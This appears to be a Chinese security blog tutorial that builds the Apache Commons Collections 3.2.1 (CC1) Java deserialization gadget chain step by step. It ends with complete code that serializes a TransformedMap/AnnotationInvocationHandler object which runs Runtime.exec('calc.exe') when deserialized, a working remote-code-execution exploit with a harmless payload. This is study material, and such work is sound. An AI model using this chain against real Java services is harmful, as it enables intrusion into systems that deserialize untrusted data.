freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Java反序列化-CC链,从0到0
FreeBuf_496420 2025-03-13 16:59:25 6792
所属地 四川省

CC链

Java反序列化

环境要求

  • CommonsCollections <= 3.2.1

  • java < 8u71(我使用的是)

java8u65

环境链接先不放,在配置环境的时候遇到一件很神奇的事:

下面是oracle的java8存档地址,真的很神,第一个链接是中文的,当你使用Ctrl + F去找java8u65(第8个版本的第六十五次更新)的时候,下载的是java8u111,我以为只有一个是不对的,多试了几个都不对。

https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

因为只是使用java运行,不需要配置环境变量,只需要在idea中修改项目结构中的解释器目录。

此外,还需要配置一下源码

https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

在左边侧栏下载压缩包,打开压缩包,找到以下目录

解压目录\src\share\classes\sun

复制sun包中的内容到java8u65的src目录中,默认是没有src目录的,解压该目录中的src.zip文件,在idea项目结构中sourcepath,导入src目录。

CommonsCollections

在idea创建maven项目,配置文件pom.xml中添加,junit是用于测试的

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.13.2</version>
            <scope>test</scope>
        </dependency>
    </dependencies>

环境配置完毕,应该没有了吧,。

ysoserial中给到的链子

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */

看不懂也不要慌,遇事不要慌。一步一步来。

InvokerTransformer.transform()

找到org.apache.commons.collections.transformer接口

public interface Transformer {
    public Object transform(Object input);
}

ctrl + alt + b或者ctrl + h
寻找向下的继承类

找到个org.apache.commons.collections.functors.InvokerTransformer的类

InvokerTransformer.java实现了transformer接口

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
        
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

try语句中使用反射,尝试调用了transform方法接受的对象的方法,因为是使用的getMethod方法,所以调用公共方法才不会报错。

调用的函数参数iMethodName,iParamTypes,iArgs,都可以在实例化InvokerTransformer类时传入。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

我们可以尝试一下执行命令:

Runtime.getRuntime().exec("calc.exe")

将Runtime.getRuntime()对象传入,满足以下条件。

梳理

methodName == exec 函数名
Object input == Runtime.getRuntime() 执行函数的对象
paramTypes == String.class 函数参数的类型
args == "calc.exe" 函数实参

payload升级:

@Test
public void test1() throws IOException, ClassNotFoundException {
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
            new Class[]{String.class},
            new Object[]{"calc.exe"});

    invokerTransformer.transform(Runtime.getRuntime());
}

弹出计算机为成功

TranformedMap.checkSetValue()

alt+F7查看用法

org.apache.commons.collections.map.TranformedMap

TranformedMap.java找到了三个方法调用了transform方法

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

    protected Object transformKey(Object object) {
        if (keyTransformer == null) {
            return object;
        }
        return keyTransformer.transform(object);
    }

    protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }

三个方法属性都是protected,对同一包内的类和所有子类可见。

三个方法中选择checkSetValue(),为社么不用其他两个呢,其他两个查找用法,没有找到合适的调用类。

找到对参数进行赋值的地方,是TransformedMap类的构造函数,构造函数属性为protected,对同一包内的类和所有子类可见。

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

寻找其他构造方法或者调用TransformedMap的方法。

在同一个类中找到方法

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

现在我们有了办法构造参数,但是无法调用TransformedMap.checkSetValue()方法,继续查找用法。

AbstractInputCheckedMapDecorator

AbstractInputCheckedMapDecorator.java

static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

继承关系如下

MapEntry <= AbstractMapEntryDecorator

MapEntry类的父类AbstractMapEntryDecorator是抽象类,抽象类不能被实例化,但是可以有构造方法。这里在MapEntry类中构造方法,super(entry)实际上是AbstractMapEntryDecorator的构造方法。

protected final Map.Entry entry;

	public AbstractMapEntryDecorator(Map.Entry entry) {
        if (entry == null) {
            throw new IllegalArgumentException("Map Entry must not be null");
        }
        this.entry = entry;
    }

梳理一下

MapEntry.class == AbstractMapEntryDecorator.entry == Map.Entry.class
    MapEntry.setValue(Object value)
        TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
        TranformedMap.checkSetValue(Object value)
                invokerTransformer.transform(Object input);

valueTransformer == invokerTransformer
value == Runtime.getRuntime()

三个Object是连续的传递,至于MapEntry如何得到呢?Map通过entrySet()方法可以获取Map.Entry

升级:

@Test
    public void test2() throws IOException, ClassNotFoundException {
        // MapEntry.setValue() ==>  TransformedMap.checkSetValue() ==>  InvokerTransformer.transform()

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"});

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("key", "value");

        // valueTransformer == invokerTransformer
        Map<Object,Object> decorated = TransformedMap.decorate(hashMap, null, invokerTransformer);


        for (Map.Entry<Object, Object> entry : decorated.entrySet()) {
//            System.out.println(entry);
            entry.setValue(Runtime.getRuntime());
        }
    }

弹出计算机为成功

AnnotationInvocationHandler

继续老办法,alt + F7查看用法。

sun.reflect.annotation.AnnotationInvocationHandler这个类刚好调用了setValue()方法,而且还刚好在readObject()方法中调用setValue()。在该类被反序列化的时候则会调用readObject()方法。

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

我们可以看到通过entrySet()来获得Map.Entry

在到达setValue()前需要绕过两层if判断。

type,memberValues是通过构造函数可传递的参数

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

Class<? extends Annotation> type是什么呢,chatgpt

Class<? extends Annotation> 可以表示任意注解的 Class 对象

Class<? extends Annotation> annotationClass = Override.class;
Class<? extends Annotation> annotationClass2 = Deprecated.class;

但它不能是 Class<Object> 或 Class<String>,因为它们不是 Annotation 的子类。

为了兼容性和稳定性,推荐使用一些java自带的注解。

if (memberType != null)

我们可以实验一下:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"});

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("key", "value");

        Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, invokerTransformer);

        AnnotationType annotationType = AnnotationType.getInstance(Target.class);
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        System.out.println(memberTypes);

//输出:        {value=class [Ljava.lang.annotation.ElementType;}

绕过第一个if,需要在Map.Entry的key在对应memberTypes中有对应的值。

当Map.Entry的key为value时,值在memberTypes为class,!= null为 true,加入下列代码验证一番。

for (Map.Entry<String, Object> memberValue : decorated.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {
                System.out.println(123);
            } else {
                System.out.println("456");
            }
            
// hashMap.put("key", "value") 输出456
// hashMap.put("value", "value") 输出123

if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))

脑袋已经晕了,层层剖析

Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))

//        !(memberType.isInstance(value) || value instanceof ExceptionProxy) == True
//            memberType.isInstance(value) || value instanceof ExceptionProxy == false
//            memberType.isInstance(value) == false
//            value instanceof ExceptionProxy == false

//      value 不是 memberType 类型的实例,也不是 ExceptionProxy 类型的实例
hashMap.put("value", "value")

memberValue是Map.Entry的值,也就是第二个"value"

memberType为{value=class [Ljava.lang.annotation.ElementType;},而"value"是一个String,已不是一个ExceptionProxy的实例。

实验一下:将之前那段for循环修改为现在的代码

for (Map.Entry<String, Object> memberValue : decorated.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {
                System.out.println(123);

                Object value = memberValue.getValue();
//                System.out.println(memberType);
//                System.out.println(value);
//                System.out.println(value.getClass());

                if (!(memberType.isInstance(value) ||
                        value instanceof ExceptionProxy)) {
                    System.out.println("yes");
                } else
                    System.out.println("no");
            } else {
                System.out.println("456");
            }
        }

// 123
// yes

也就是能够执行到memberValue.setValue(),但是参数并不是我们能控制的。

有没有参数不重要,返回的值是一样的Transformer?

ConstantTransformer

org.apache.commons.collections.functors.ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

	public Object transform(Object input) {
        return iConstant;
    }

梳理一下

MapEntry.class == AbstractMapEntryDecorator.entry == Map.Entry.class
    MapEntry.setValue(Object value)
        TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
        TranformedMap.checkSetValue(Object value)
			   ConstantTransformer(Runtime.getRuntime())
                ConstantTransformer.transform(Object input)
                

valueTransformer == ConstantTransformer
value == 不重要

调用transform方法的返回值是实例化时传入的参数constantToReturn,但是最后无法执行到危险函数了

ChainedTransformer

最后的主角,但是脑袋已经不够用了。

org.apache.commons.collections.functors.ChainedTransformer

public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

从第0个开始,调用每一个iTransformerstransform()

参数则是上一次transform()处理后的object

我们需要将Runtime.getRuntime()作为invokerTransformer.transform()的参数,这里又回到了最初了,常回家看看,回家看看。所以我们需要将ConstantTransformer作为第一个

ChainedTransformer.transform()传入什么作为参数都不重要。我们可以看看循环过程:

第一次运行:
iTransformers[0].transform(object);
return Runtime.getRuntime();

第二次运行:
invokerTransformer.transform(Runtime.getRuntime());
是不是就可以执行了呢

似乎一切都说通了。

问题一

AnnotationInvocationHandler是default类型,在同一包内可见。需要用到反射来初始化。

@Test
    public void test2_1() throws Exception {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
        InvokerTransformer invokerTransformer = new InvokerTransformer
                ("exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"});

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});

        // 生成MapEntry
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value", "value");

        //  chainedTransformer 代替了最初的 invokerTransformer
        Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, chainedTransformer);

        // 实例化AnnotationInvocationHandler
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorated);

        serializable(o);
        unserializable("ser.bin");
    }

问题二

意外蛊出现了

java.io.NotSerializableException: java.lang.Runtime

Runtime没有继承Serializable接口,所以不能直接被反序列化。

救星:Class可以被反序列化,再次使用反射。

public final class Class<T> implements java.io.Serializable

chainedTransformer构造

代码格式是错误的,只是一个解释,不必按照代码解释。

Runtime.getRuntime().exec()

new ConstantTransformer(Runtime.class).transform()
return  Runtime.class

//执行 "getMethod"获取到Runtime.class的"getRuntime()
invokerTransformer.transform(Runtime.class)
return Method Runtime.getRuntime()
返回的是Method类的对象

// 使用Invoke调用Runtime.getRuntime()
invokerTransformer.transform(Method Runtime.getRuntime())
return Method Runtime.getRuntime().invoke();
//执行Runtime.getRuntime().exec()。参数则通过后的返回结果,即:
	currentRuntime;

//执行exec()
invokerTransformer.transform(currentRuntime);
执行currentRuntime.exec(),也就是Runtime.getRuntime().exec()。参数则通过实例化InvokerTransformer时传递。

需要注意的是实例化InvokerTransformer的时候,参数依次为

iMethodName        iParamTypes        iArgs
方法名				传入方法的参数的类型	传入方法的参数

完整代码

@Test
    public void test2_1() throws Exception {

//        Class<Runtime> clazz = Runtime.class;
//
//        Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
//        Object o = getRuntimeMethod.invoke(null, null);
//
//        Method execMethod = clazz.getMethod("exec", String.class);
//        execMethod.invoke(o, "calc.exe");

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                //  Class<Runtime> clazz
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                // 得到  Method getRuntimeMethod
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                // 得到 Object o
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        });

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value", "value");

        // valueTransformer == invokerTransformer
        Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, chainedTransformer);

        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorated);
        serializable(o);
        unserializable("ser.bin");
    }

注释是为了自己看的明白过程。

# web安全 # java反序列化 # JAVA安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_496420 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_496420 LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者
文章目录